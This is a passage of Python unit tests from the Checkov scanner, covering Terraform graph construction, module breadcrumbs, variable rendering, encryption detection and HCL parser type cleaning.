'aws_flow_log.related_flow_log') resource_security_group_this = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_security_group.this') resource_security_group_this_name_prefix = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_security_group.this_name_prefix') output_this_security_group_vpc_id_inner = [o for o in outputs_vpcs if 'http-80' in o.path][0] output_this_security_group_vpc_id_outer = [o for o in outputs_vpcs if 'http-80' not in o.path][0] self.check_edge(local_graph, node_from=resource_flow_log, node_to=output_this_security_group_vpc_id_inner, expected_label='vpc_id') self.check_edge(local_graph, node_from=output_this_security_group_vpc_id_outer, node_to=resource_security_group_this, expected_label='value') self.check_edge(local_graph, node_from=output_this_security_group_vpc_id_outer, node_to=resource_security_group_this_name_prefix, expected_label='value') # cleanup if os.path.exists(os.path.join(resources_dir, external_modules_download_path)): shutil.rmtree(os.path.join(resources_dir, external_modules_download_path)) def test_build_graph_with_deep_nested_edges(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/k8_service')) graph_manager = TerraformGraphManager(NetworkxConnector()) local_graph, tf = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) resource_kubernetes_deployment = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'kubernetes_deployment.bazel_remote_cache') locals_name = self.get_vertex_by_name_and_type(local_graph, BlockType.LOCALS, 'name') locals_labels = self.get_vertex_by_name_and_type(local_graph, BlockType.LOCALS, 'labels') self.check_edge(local_graph, node_from=locals_labels, node_to=locals_name, expected_label="labels.app.kubernetes.io/name") self.check_edge(local_graph, node_from=resource_kubernetes_deployment, node_to=locals_name, expected_label="metadata.name") self.check_edge(local_graph, node_from=resource_kubernetes_deployment, node_to=locals_name, expected_label="spec.template.metadata.name") self.check_edge(local_graph, node_from=resource_kubernetes_deployment, node_to=locals_name, expected_label="spec.template.spec.container.name") self.check_edge(local_graph, node_from=resource_kubernetes_deployment, node_to=locals_name, expected_label="spec.template.spec.volume.1.config_map.name") def test_blocks_from_local_graph_module(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/modules/stacks')) graph_manager = TerraformGraphManager(NetworkxConnector()) local_graph, tf = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) tf, _ = convert_graph_vertices_to_tf_definitions(local_graph.vertices, resources_dir) found_results = 0 for key, value in tf.items(): if key.file_path.startswith(os.path.join(os.path.dirname(resources_dir), 's3_inner_modules', 'inner', 'main.tf')): conf = value['resource'][0]['aws_s3_bucket']['inner_s3'] new_key = build_new_key_for_tf_definition(key) if 'stage/main' in new_key or 'prod/main' in new_key: self.assertTrue(conf['versioning'][0]['enabled'][0]) found_results += 1 elif 'test/main' in new_key: self.assertFalse(conf['versioning'][0]['enabled'][0]) found_results += 1 self.assertEqual(found_results, 3) def test_build_graph_with_dynamic_blocks(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/dynamic_lambda_function')) graph_manager = TerraformGraphManager(NetworkxConnector()) local_graph, tf = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) lambda_attributes = local_graph.vertices[0].attributes self.assertIn("dead_letter_config", lambda_attributes.keys()) def test_get_attribute_dict_with_list_value(self): # given resources_dir = os.path.join(TEST_DIRNAME, "../resources/s3_bucket_grant") graph_manager = TerraformGraphManager(NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) # when attributes = local_graph.vertices[ local_graph.vertices_by_block_type.get(BlockType.RESOURCE)[0] ].get_attribute_dict() # then expected_grant_attribute = [ {"permissions": ["READ_ACP"], "type": "Group", "uri": "http://acs.amazonaws.com/groups/global/AllUsers"}, {"id": "1234567890", "permissions": ["FULL_CONTROL"], "type": "CanonicalUser"}, ] self.assertCountEqual(expected_grant_attribute, attributes["grant"]) def test_build_graph_terraform_block(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/terraform_block') graph_manager = TerraformGraphManager(db_connector=NetworkxConnector()) graph, tf_definitions = graph_manager.build_graph_from_source_directory(resources_dir) terraform_blocks = graph.vertices_by_block_type[BlockType.TERRAFORM] self.assertEqual(1, len(terraform_blocks)) terraform_block = graph.vertices[terraform_blocks[0]] expected_attributes = ["backend", "required_version", "required_providers"] for attr in expected_attributes: self.assertIn(attr, list(terraform_block.attributes.keys())) @mock.patch.dict(os.environ, {"CHECKOV_EXPERIMENTAL_CROSS_VARIABLE_EDGES": "True"}) def test_build_graph_with_cross_variables_connections(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/cross_variables') graph_manager = TerraformGraphManager(NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) var_bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket_public_access_block.var_bucket') bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket.example') self.assertEqual(len(local_graph.edges), 4) self.check_edge(local_graph, node_from=var_bucket_resource, node_to=bucket_resource, expected_label="[cross-variable] bucket") @mock.patch.dict(os.environ, {"CHECKOV_EXPERIMENTAL_CROSS_VARIABLE_EDGES": "True"}) def test_build_graph_with_cross_variables_connections_from_module(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/cross_variables2/main')) graph_manager = TerraformGraphManager(NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) var_bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket_public_access_block.var_bucket') bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket.example') self.assertEqual(len(local_graph.edges), 6) self.check_edge(local_graph, node_from=var_bucket_resource, node_to=bucket_resource, expected_label="[cross-variable] bucket") @mock.patch.dict(os.environ, {"CHECKOV_EXPERIMENTAL_CROSS_VARIABLE_EDGES": "True"}) def test_build_graph_with_cross_modules_connections(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/cross_modules')) graph_manager = TerraformGraphManager(NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) var_bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket_public_access_block.var_bucket') bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket.example') self.assertEqual(len(local_graph.edges), 5) self.check_edge(local_graph, node_from=var_bucket_resource, node_to=bucket_resource, expected_label="[cross-variable] bucket") @mock.patch.dict(os.environ, {"CHECKOV_EXPERIMENTAL_CROSS_VARIABLE_EDGES": "True"}) def test_build_graph_with_cross_nested_modules_connections(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/cross_modules2')) graph_manager = TerraformGraphManager(NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) var_bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket_public_access_block.var_bucket') bucket_resource = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket.example') self.assertEqual(len(local_graph.edges), 8) self.check_edge(local_graph, node_from=var_bucket_resource, node_to=bucket_resource, expected_label="[cross-variable] bucket") def test_nested_modules_address_attribute(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/nested_modules_address')) graph_manager = TerraformGraphManager(NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) module_1 = self.get_vertex_by_name_and_type(local_graph, BlockType.MODULE, 'inner_s3_module') assert module_1.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS) == 'module.s3_module.inner_s3_module' module_2 = self.get_vertex_by_name_and_type(local_graph, BlockType.MODULE, 's3_module') assert module_2.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS) == 's3_module' resource_1 = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket_public_access_block.var_bucket') assert resource_1.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS) == 'module.s3_module.module.inner_s3_module.aws_s3_bucket_public_access_block.var_bucket' resource_2 = self.get_vertex_by_name_and_type(local_graph, BlockType.RESOURCE, 'aws_s3_bucket.example') assert resource_2.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS) == 'aws_s3_bucket.example' provider = self.get_vertex_by_name_and_type(local_graph, BlockType.PROVIDER, 'aws.test_provider') assert provider.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS) == 'aws.test_provider' # Related to https://github.com/bridgecrewio/checkov/issues/4324 def test_build_graph_for_each_with_variables_and_dynamic_not_crash(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/for_each') graph_manager = TerraformGraphManager(db_connector=NetworkxConnector()) # Shouldn't throw exception graph_manager.build_graph_from_source_directory(resources_dir) def test_build_rustworkx_graph(self): resources_dir = os.path.join(TEST_DIRNAME, '../resources/general_example') graph_manager = TerraformGraphManager(db_connector=RustworkxConnector()) graph, tf_definitions = graph_manager.build_graph_from_source_directory(resources_dir) expected_num_of_var_nodes = 3 expected_num_of_locals_nodes = 1 expected_num_of_resources_nodes = 1 expected_num_of_provider_nodes = 1 vertices_by_block_type = graph.vertices_by_block_type self.assertEqual(expected_num_of_var_nodes, len(vertices_by_block_type[BlockType.VARIABLE])) self.assertEqual(expected_num_of_locals_nodes, len(vertices_by_block_type[BlockType.LOCALS])) self.assertEqual(expected_num_of_resources_nodes, len(vertices_by_block_type[BlockType.RESOURCE])) self.assertEqual(expected_num_of_provider_nodes, len(vertices_by_block_type[BlockType.PROVIDER])) provider_node = graph.vertices[vertices_by_block_type[BlockType.PROVIDER][0]] resource_node = graph.vertices[vertices_by_block_type[BlockType.RESOURCE][0]] local_node = graph.vertices[graph.vertices_block_name_map[BlockType.LOCALS]["bucket_name"][0]] var_bucket_name_node = None var_region_node = None var_aws_profile_node = None for index in vertices_by_block_type[BlockType.VARIABLE]: var_node = graph.vertices[index] if var_node.name == 'aws_profile': var_aws_profile_node = var_node if var_node.name == 'bucket_name': var_bucket_name_node = var_node if var_node.name == 'region': var_region_node = var_node self.check_edge(graph, resource_node, local_node, 'bucket') self.check_edge(graph, resource_node, provider_node, 'provider') self.check_edge(graph, resource_node, var_region_node, 'region') self.check_edge(graph, provider_node, var_aws_profile_node, 'profile') self.check_edge(graph, local_node, var_bucket_name_node, 'bucket_name') def test_multiple_nested_module_with_connected_resources(self): valid_plan_path = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/modules_edges_tfplan/tfplan.json')) definitions, definitions_raw = create_definitions(root_folder=None, files=[valid_plan_path]) graph_manager = TerraformGraphManager(db_connector=RustworkxConnector()) tf_plan_local_graph = graph_manager.build_graph_from_definitions(definitions, render_variables=False) self.assertTrue(tf_plan_local_graph.in_edges[1]) self.assertTrue(tf_plan_local_graph.in_edges[3]) def test_best_match_multiple_modules_with_connected_resources(self): valid_plan_path = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/modules_edges_tfplan/tfplan.json')) definitions, definitions_raw = create_definitions(root_folder=None, files=[valid_plan_path]) graph_manager = TerraformGraphManager(db_connector=RustworkxConnector()) tf_plan_local_graph = graph_manager.build_graph_from_definitions(definitions, render_variables=False) origin_module_name = 'module.test.test.s3-bucket-1.aws_s3_bucket_public_access_block.this[0]' vertex_module_name_1 = 'module.test.test.s3-bucket-1.aws_s3_bucket.this[0]' vertex_module_name_2 = 'module.test.s3-bucket-2.aws_s3_bucket.this[0]' origin_path = 'modules_edges_tfplan/tfplan.json' common_prefix_1 = tf_plan_local_graph._get_common_prefix_name(origin_module_name, vertex_module_name_1, origin_path) common_prefix_2 = tf_plan_local_graph._get_common_prefix_name(origin_module_name, vertex_module_name_2, origin_path) assert(common_prefix_1 == 'modules_edges_tfplan/tfplan.json module.test.test.s3-bucket-1') assert(common_prefix_2 == 'modules_edges_tfplan/tfplan.json module.test') def build_new_key_for_tf_definition(key): key = key.tf_source_modules new_key = '' while key.nested_tf_module: new_key += f'{key.nested_tf_module.path}' key = key.nested_tf_module return new_key ================================================ FILE: tests/terraform/graph/graph_builder/test_local_graph.py ================================================ import os from pathlib import Path from unittest import TestCase from unittest import mock from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.common.graph.graph_builder import EncryptionValues, EncryptionTypes from checkov.common.graph.graph_builder.utils import calculate_hash from checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes from checkov.common.util.parser_utils import TERRAFORM_NESTED_MODULE_PATH_PREFIX, TERRAFORM_NESTED_MODULE_PATH_ENDING, \ TERRAFORM_NESTED_MODULE_INDEX_SEPARATOR from checkov.terraform import TFModule from checkov.terraform.graph_builder.graph_components.block_types import BlockType from checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock from checkov.terraform.graph_builder.graph_components.generic_resource_encryption import ENCRYPTION_BY_RESOURCE_TYPE from checkov.terraform.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph from checkov.terraform.graph_manager import TerraformGraphManager from checkov.terraform.tf_parser import TFParser from checkov.terraform.modules.module_utils import clean_parser_types, serialize_definitions TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) class TestLocalGraph(TestCase): def setUp(self) -> None: self.source = "TERRAFORM" def test_update_vertices_configs_attribute_like_resource_name(self): config = {"resource_type": {"resource_name": {"attribute1": 1, "attribute2": 2, "resource_name": ["caution!"]}}} attributes = {"attribute1": 1, "attribute2": 2, "resource_name": "ok"} local_graph = TerraformLocalGraph(None) vertex = TerraformBlock(name="resource_type.resource_name", config=config, path='', block_type=BlockType.RESOURCE, attributes=attributes) vertex.changed_attributes["resource_name"] = "" local_graph.vertices.append(vertex) local_graph.update_vertices_configs() expected_config = {"resource_type": {"resource_name": {"attribute1": 1, "attribute2": 2, "resource_name": ["ok"]}}} self.assertDictEqual(expected_config, vertex.config) def test_single_edge_with_same_label(self): resources_dir = os.path.realpath( os.path.join(TEST_DIRNAME, '../resources/k8_service')) graph_manager = TerraformGraphManager(NetworkxConnector()) local_graph, _ = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=True) edges_hash = [] for e in local_graph.edges: edge_hash = calculate_hash({"origin": e.origin, "dest": e.dest, "label": e.label}) if edge_hash in edges_hash: origin = local_graph.vertices[e.origin] dest = local_graph.vertices[e.dest] self.fail(f'edge {e} == [{origin} - {e.label} -> {dest}] appears more than once in the graph') else: edges_hash.append(edge_hash) @mock.patch.dict(os.environ, {"CHECKOV_NEW_TF_PARSER": "False"}) def test_set_variables_values_from_modules(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_from_module_vpc')) hcl_config_parser = TFParser() module, _ = hcl_config_parser.parse_hcl_module(resources_dir, source=self.source) local_graph = TerraformLocalGraph(module) local_graph._create_vertices() variables_before_module_definitions = { "cidr": "0.0.0.0/0", "private_subnets": [], "public_subnets": [], "enable_nat_gateway": False, "single_nat_gateway": False, "enable_dns_hostnames": False, "public_subnet_tags": {}, "private_subnet_tags": {}, } for var_name, var_value in variables_before_module_definitions.items(): vertex_index = local_graph.vertices_block_name_map[BlockType.VARIABLE].get(var_name)[0] vertex = local_graph.vertices[vertex_index] default_val = vertex.attributes['default'] if type(default_val) == list: self.assertEqual(var_value, default_val[0]) else: self.assertEqual(var_value, default_val) local_graph.build_graph(resources_dir) expected_variables_after = { "cidr": "172.16.0.0/16", "private_subnets": ["172.16.1.0/24", "172.16.2.0/24", "172.16.3.0/24"], "public_subnets": ["172.16.4.0/24", "172.16.5.0/24", "172.16.6.0/24"], "enable_nat_gateway": True, "single_nat_gateway": True, "enable_dns_hostnames": True, "public_subnet_tags": {"kubernetes.io/cluster/${local.cluster_name}": "shared", "kubernetes.io/role/elb": "1"}, "private_subnet_tags": {"kubernetes.io/cluster/${local.cluster_name}": "shared", "kubernetes.io/role/internal-elb": "1"} } for var_name, var_value in expected_variables_after.items(): vertex_index = local_graph.vertices_block_name_map[BlockType.VARIABLE].get(var_name)[0] vertex = local_graph.vertices[vertex_index] default_val = vertex.attributes['default'] if type(default_val) == list: self.assertEqual(var_value, default_val[0]) else: self.assertEqual(var_value, default_val) def test_definition_creation_by_dirs(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_local_from_variable')) hcl_config_parser = TFParser() tf_definitions = hcl_config_parser.parse_directory(directory=resources_dir) tf_definitions = clean_parser_types(tf_definitions) tf_definitions = serialize_definitions(tf_definitions) dirs_to_definitions = hcl_config_parser.create_definition_by_dirs(tf_definitions) assert len(dirs_to_definitions) == 1 single_dir_element = list(dirs_to_definitions.values())[0] assert list(single_dir_element[0].values()) == [{'locals': [{'__end_line__': 3, '__start_line__': 1, 'bucket_name': ['${var.var_bucket_name}']}]}] assert list(single_dir_element[1].values()) == [{'variable': [{'var_bucket_name': {'__end_line__': 3, '__start_line__': 1, 'default': ['test_bucket_name']}}]}] def test_definition_creation_by_dirs_multi_nodule(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/modules/linked_modules')) hcl_config_parser = TFParser() tf_definitions = hcl_config_parser.parse_directory(directory=resources_dir) tf_definitions = clean_parser_types(tf_definitions) tf_definitions = serialize_definitions(tf_definitions) dirs_to_definitions = hcl_config_parser.create_definition_by_dirs(tf_definitions) assert len(dirs_to_definitions) == 2 lambda_element = list(dirs_to_definitions.values())[0] s3_bucket_element = list(dirs_to_definitions.values())[1] assert len(lambda_element) + len(s3_bucket_element) == len(tf_definitions) modules = hcl_config_parser.parse_multi_graph_hcl_module(resources_dir, source=self.source) assert len(modules) == 2 assert 'lambda' in modules[0][0].source_dir assert 's3-bucket' in modules[1][0].source_dir def test_compare_multi_graph_defs(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_module_postgresql')) hcl_config_parser = TFParser() module, defs = hcl_config_parser.parse_hcl_module(resources_dir, source=self.source) modules = hcl_config_parser.parse_multi_graph_hcl_module(resources_dir, source=self.source) for idx, module_to_definitions in enumerate(modules): assert module_to_definitions[0] == module for att, content in defs.items(): found = False for content_dict in module_to_definitions[1]: for key, value in content_dict.items(): if value == content: found = True break if found: break assert found def test_set_variables_values_from_modules_with_new_tf_parser(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_from_module_vpc')) hcl_config_parser = TFParser() module, _ = hcl_config_parser.parse_hcl_module(resources_dir, source=self.source) local_graph = TerraformLocalGraph(module) local_graph._create_vertices() variables_before_module_definitions = { "cidr": "0.0.0.0/0", "private_subnets": [], "public_subnets": [], "enable_nat_gateway": False, "single_nat_gateway": False, "enable_dns_hostnames": False, "public_subnet_tags": {}, "private_subnet_tags": {}, } for var_name, var_value in variables_before_module_definitions.items(): vertex_index = local_graph.vertices_block_name_map[BlockType.VARIABLE].get(var_name)[0] vertex = local_graph.vertices[vertex_index] default_val = vertex.attributes['default'] if type(default_val) == list: self.assertEqual(var_value, default_val[0]) else: self.assertEqual(var_value, default_val) local_graph.build_graph(resources_dir) expected_variables_after = { "cidr": "172.16.0.0/16", "private_subnets": ["172.16.1.0/24", "172.16.2.0/24", "172.16.3.0/24"], "public_subnets": ["172.16.4.0/24", "172.16.5.0/24", "172.16.6.0/24"], "enable_nat_gateway": True, "single_nat_gateway": True, "enable_dns_hostnames": True, "public_subnet_tags": {"kubernetes.io/cluster/${local.cluster_name}": "shared", "kubernetes.io/role/elb": "1"}, "private_subnet_tags": {"kubernetes.io/cluster/${local.cluster_name}": "shared", "kubernetes.io/role/internal-elb": "1"} } for var_name, var_value in expected_variables_after.items(): vertex_index = local_graph.vertices_block_name_map[BlockType.VARIABLE].get(var_name)[0] vertex = local_graph.vertices[vertex_index] default_val = vertex.attributes['default'] if type(default_val) == list: self.assertEqual(var_value, default_val[0]) else: self.assertEqual(var_value, default_val) def test_encryption_aws(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/encryption')) hcl_config_parser = TFParser() module, _ = hcl_config_parser.parse_hcl_module(resources_dir, self.source) local_graph = TerraformLocalGraph(module) local_graph._create_vertices() local_graph.calculate_encryption_attribute(ENCRYPTION_BY_RESOURCE_TYPE) all_attributes = [vertex.get_attribute_dict() for vertex in local_graph.vertices] for attribute_dict in all_attributes: [resource_type, resource_name] = attribute_dict[CustomAttributes.ID].split(".") if resource_type in ENCRYPTION_BY_RESOURCE_TYPE: is_encrypted = attribute_dict[CustomAttributes.ENCRYPTION] details = attribute_dict[CustomAttributes.ENCRYPTION_DETAILS] self.assertEqual(is_encrypted, EncryptionValues.ENCRYPTED.value if resource_name.startswith("encrypted") else EncryptionValues.UNENCRYPTED.value, f'failed for "{resource_type}.{resource_name}"') if is_encrypted == EncryptionValues.ENCRYPTED.value: if 'kms_key_id' in attribute_dict or 'kms_master_key_id' in attribute_dict: self.assertEqual(details, EncryptionTypes.KMS_VALUE.value, f'Bad encryption details for "{resource_type}.{resource_name}"') else: self.assertIn(details, [EncryptionTypes.AES256.value, EncryptionTypes.KMS_VALUE.value, EncryptionTypes.NODE_TO_NODE.value, EncryptionTypes.DEFAULT_KMS.value], f'Bad encryption details for "{resource_type}.{resource_name}"') else: self.assertEqual(details, "") else: self.assertIsNone(attribute_dict.get(CustomAttributes.ENCRYPTION)) self.assertIsNone(attribute_dict.get(CustomAttributes.ENCRYPTION_DETAILS)) def test_vertices_from_local_graph(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/variable_rendering/render_from_module_vpc')) hcl_config_parser = TFParser() module, _ = hcl_config_parser.parse_hcl_module(resources_dir, self.source) local_graph = TerraformLocalGraph(module) local_graph._create_vertices() tf_definitions, breadcrumbs = convert_graph_vertices_to_tf_definitions(local_graph.vertices, resources_dir) self.assertIsNotNone(tf_definitions) self.assertIsNotNone(breadcrumbs) def test_blocks_from_local_graph_module(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/modules/stacks')) hcl_config_parser = TFParser() module, _ = hcl_config_parser.parse_hcl_module(resources_dir, self.source) self.assertEqual(len(list(filter(lambda block: block.block_type == BlockType.RESOURCE and block.name == 'aws_s3_bucket.inner_s3', module.blocks))), 3) self.assertEqual(len(list(filter(lambda block: block.block_type == BlockType.MODULE and block.name == 'inner_module_call', module.blocks))), 3) self.assertEqual(len(list(filter(lambda block: block.block_type == BlockType.MODULE and block.name == 's3', module.blocks))), 3) self.assertEqual(len(list(filter(lambda block: block.block_type == BlockType.MODULE and block.name == 'sub-module', module.blocks))), 1) def test_vertices_from_local_graph_module(self): parent_dir = Path(TEST_DIRNAME).parent resources_dir = str(parent_dir / "resources/modules/stacks") hcl_config_parser = TFParser() module, _ = hcl_config_parser.parse_hcl_module(resources_dir, self.source) local_graph = TerraformLocalGraph(module) local_graph.build_graph(render_variables=True) self.assertEqual(12, len(local_graph.edges)) # check vertex breadcrumbs bucket_vertex_1 = next( vertex for vertex in local_graph.vertices if vertex.name == "aws_s3_bucket.inner_s3" and vertex.source_module == {6} ) bucket_vertex_2 = next( vertex for vertex in local_graph.vertices if vertex.name == "aws_s3_bucket.inner_s3" and vertex.source_module == {7} ) bucket_vertex_3 = next( vertex for vertex in local_graph.vertices if vertex.name == "aws_s3_bucket.inner_s3" and vertex.source_module == {8} ) expected_vertex_1_breadcrumbs = { "versioning.enabled": [ { "type": "module", "name": "inner_module_call", "path": str(parent_dir / "resources/modules/s3_inner_modules/main.tf"), "module_connection": False, }, { "type": "variable", "name": "versioning", "path": str(parent_dir / "resources/modules/s3_inner_modules/inner/variables.tf"), "module_connection": False, }, ], "source_module_": [ { 'type': 'module', 'name': 'sub-module', 'path': str(parent_dir / 'resources/modules/stacks/prod/main.tf'), 'idx': 12, 'source_module_object': None } , { 'type': 'module', 'name': 's3', 'path': str(parent_dir / 'resources/modules/stacks/prod/sub-prod/main.tf'), 'idx': 13, 'source_module_object': TFModule(path=str(parent_dir / 'resources/modules/stacks/prod/main.tf'), name='sub-module', foreach_idx=None, nested_tf_module=None) } , { 'type': 'module', 'name': 'inner_module_call', 'path': str(parent_dir / 'resources/modules/s3_inner_modules/main.tf'), 'idx': 6, 'source_module_object': TFModule(path=str(parent_dir / 'resources/modules/stacks/prod/sub-prod/main.tf'), name='s3', foreach_idx=None, nested_tf_module=TFModule(path=str(parent_dir / 'resources/modules/stacks/prod/main.tf'), name='sub-module', foreach_idx=None, nested_tf_module=None) ) } ], } self.assertDictEqual(expected_vertex_1_breadcrumbs, bucket_vertex_1.breadcrumbs) expected_vertex_2_breadcrumbs = { "versioning.enabled": [ { "type": "module", "name": "inner_module_call", "path": str(parent_dir / "resources/modules/s3_inner_modules/main.tf"), "module_connection": False, }, { "type": "variable", "name": "versioning", "path": str(parent_dir / "resources/modules/s3_inner_modules/inner/variables.tf"), "module_connection": False, }, ], "source_module_": [ { 'type': 'module', 'name': 's3', 'path': str(parent_dir / 'resources/modules/stacks/stage/main.tf'), 'idx': 14, 'source_module_object': None }, { 'type': 'module', 'name': 'inner_module_call', 'path': str(parent_dir / 'resources/modules/s3_inner_modules/main.tf'), 'idx': 7, 'source_module_object': TFModule(path=str(parent_dir / 'resources/modules/stacks/stage/main.tf'), name='s3', foreach_idx=None, nested_tf_module=None) } ], } self.assertDictEqual(expected_vertex_2_breadcrumbs, bucket_vertex_2.breadcrumbs) expected_vertex_3_breadcrumbs = { "versioning.enabled": [ { "type": "module", "name": "inner_module_call", "path": str(parent_dir / "resources/modules/s3_inner_modules/main.tf"), "module_connection": False, }, { "type": "variable", "name": "versioning", "path": str(parent_dir / "resources/modules/s3_inner_modules/inner/variables.tf"), "module_connection": False, }, ], "source_module_": [ { 'type': 'module', 'name': 's3', 'path': str(parent_dir / 'resources/modules/stacks/test/main.tf'), 'idx': 15, 'source_module_object': None }, { 'type': 'module', 'name': 'inner_module_call', 'path': str(parent_dir / 'resources/modules/s3_inner_modules/main.tf'), 'idx': 8, 'source_module_object': TFModule(path=str(parent_dir / 'resources/modules/stacks/test/main.tf'), name='s3', foreach_idx=None, nested_tf_module=None) } ], } self.assertDictEqual(expected_vertex_3_breadcrumbs, bucket_vertex_3.breadcrumbs) def test_variables_same_name_different_modules(self): resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, '../resources/modules/same_var_names')) hcl_config_parser = TFParser() module, _ = hcl_config_parser.parse_hcl_module(resources_dir, self.source) local_graph = TerraformLocalGraph(module) local_graph.build_graph(render_variables=True) print(local_graph.edges) self.assertEqual(12, len(local_graph.edges)) self.assertEqual(13, len(local_graph.vertices)) module_variable_edges = [ e for e in local_graph.edges if local_graph.vertices[e.dest].block_type == "module" and local_graph.vertices[e.dest].path.endswith( 'same_var_names/module2/main.tf') ] # Check they point to 2 different modules self.assertEqual(2, len(module_variable_edges)) self.assertNotEqual(local_graph.vertices[module_variable_edges[0].origin], local_graph.vertices[module_variable_edges[1].origin]) module_variable_edges = [ e for e in local_graph.edges if local_graph.vertices[e.dest].block_type == "module" and local_graph.vertices[e.dest].path.endswith('same_var_names/module1/main.tf') ] # Check they point to 2 different modules self.assertEqual(2, len(module_variable_edges)) self.assertNotEqual(local_graph.vertices[module_variable_edges[0].origin], local_graph.vertices[module_variable_edges[1].origin]) ================================================ FILE: tests/terraform/graph/graph_builder/test_oci_policy.py ================================================ """Test if OCI policy statements are evaluated correctly.""" from pathlib import Path from unittest import mock from checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector from checkov.terraform.graph_manager import TerraformGraphManager def test_oci_policy_statements_with_provider_env_var(): # given resources_dir = Path(__file__).parent.parent / "resources/oci_policies" graph_manager = TerraformGraphManager(db_connector=NetworkxConnector()) # when local_graph, _ = graph_manager.build_graph_from_source_directory( source_dir=str(resources_dir), render_variables=True ) # then statements = local_graph.vertices[0].config["oci_identity_policy"]["example"]["statements"][0] assert statements == [ "allow group group-admin-001 to use groups in tenancy where target.group.name != 'Administrators'" ] ================================================ FILE: tests/terraform/graph/graph_builder/test_terraform_graph_parser.py ================================================ import os from lark import Tree from checkov.terraform import TFDefinitionKey from checkov.terraform.modules.module_utils import clean_parser_types from checkov.terraform.tf_parser import TFParser from unittest import TestCase TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) class TestParser(TestCase): def test_bool_parsing_avoid_remove_non_existing(self): conf = {'test': ['Bool'], 'variable': ['aws:SecureTransport'], 'values': [['false']]} actual = clean_parser_types(conf) expected = {'test': ['Bool'], 'variable': ['aws:SecureTransport'], 'values': [[False]]} self.assertDictEqual(expected, actual) def test_bool_parsing_sort_only_lists(self): conf = {'enabled_metrics': [['a', 'c', 'b'], 'b', 'a', 'c']} actual = clean_parser_types(conf) expected = {'enabled_metrics': [['a', 'b', 'c'], 'a', 'b', 'c']} self.assertDictEqual(expected, actual) def test_bool_parsing_sort_only_lists_with_bools(self): conf = {'enabled_metrics': [['a', 'true', 'false'], 'b', 'true', 'false']} actual = clean_parser_types(conf) expected = {'enabled_metrics': [[True, False, 'a'], True, False, 'b']} self.assertDictEqual(expected, actual) def test_set_parsing_to_list(self): conf = {'enabled_metrics': [['a', 'true', 'false'], 'b', 'true', 'false'], 'example_set': [{'1', '2', '3'}]} actual = clean_parser_types(conf) expected = {'enabled_metrics': [[True, False, 'a'], True, False, 'b'], 'example_set': [['1', '2', '3']]} self.assertDictEqual(expected, actual) def test_tree_parsing_to_str(self): conf = {'enabled_metrics': [['a', 'true', 'false'], 'b', 'true', 'false'], 'example_set': Tree("data", ["child1", "child2"])} actual = clean_parser_types(conf) expected = {'enabled_metrics': [[True, 